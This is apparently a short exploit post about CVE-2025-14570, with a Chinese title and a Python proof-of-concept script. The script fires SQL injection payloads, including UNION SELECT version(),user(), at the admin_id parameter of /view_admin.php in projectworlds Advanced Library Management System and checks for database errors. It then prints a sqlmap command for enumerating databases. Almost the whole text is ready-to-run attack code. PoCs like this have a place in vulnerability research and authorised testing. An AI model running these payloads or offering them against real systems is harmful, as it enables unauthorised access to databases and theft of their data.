CVE-2025-14570 projectworlds高级图书馆管理系统SQL注入漏洞

import requests import sys # CVE-2025-14570 SQL Injection PoC # Target: projectworlds Advanced Library Management System 1.0 # Endpoint: /view_admin.php?admin_id= def exploit_sqli(url, payload): target_url = f"{url}/view_admin.php?admin_id={payload}" try: response = requests.get(target_url, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-14570.py <target_url>") print("Example: python cve-2025-14570.py http://192.168.1.100") sys.exit(1) base_url = sys.argv[1].rstrip('/') # Basic injection test - error-based payloads = [ "1' OR '1'='1", "1' UNION SELECT NULL--", "1' UNION SELECT version(),user()--", "1' AND 1=1--", "1' AND 1=2--" ] print(f"[*] Testing CVE-2025-14570 on {base_url}") print(f"[*] Target: {base_url}/view_admin.php?admin_id=<payload>\n") for i, payload in enumerate(payloads, 1): print(f"[*] Testing payload {i}: {payload}") status, response = exploit_sqli(base_url, payload) if status: print(f" Status: {status}") if 'sql' in response.lower() or 'error' in response.lower(): print(f" [!] Potential SQL error detected") print() print("[*] For full exploitation, use sqlmap:") print(f"sqlmap -u '{base_url}/view_admin.php?admin_id=1' --dbs --batch") if __name__ == "__main__": main()